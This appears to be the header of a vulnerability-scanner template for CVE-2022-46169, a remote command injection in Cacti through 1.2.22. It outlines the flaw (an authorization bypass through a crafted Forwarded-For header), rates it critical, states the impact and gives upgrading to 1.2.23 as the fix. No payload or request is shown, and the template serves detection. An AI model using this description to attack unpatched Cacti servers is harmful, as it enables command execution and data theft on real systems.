id: CVE-2022-46169

info:
  name: Cacti <=1.2.22 - Remote Command Injection
  author: Hardik-Solanki,j4vaovo
  severity: critical
  description: |
    Cacti through 1.2.22 is susceptible to remote command injection. There is insufficient authorization within the remote agent when handling HTTP requests with a custom Forwarded-For HTTP header. An attacker can send a specially crafted HTTP request to the affected instance and execute arbitrary OS commands on the server, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
  remediation: |
    Upgrade Cacti to version 1.2.23 or later to mitigate this vulnerability.
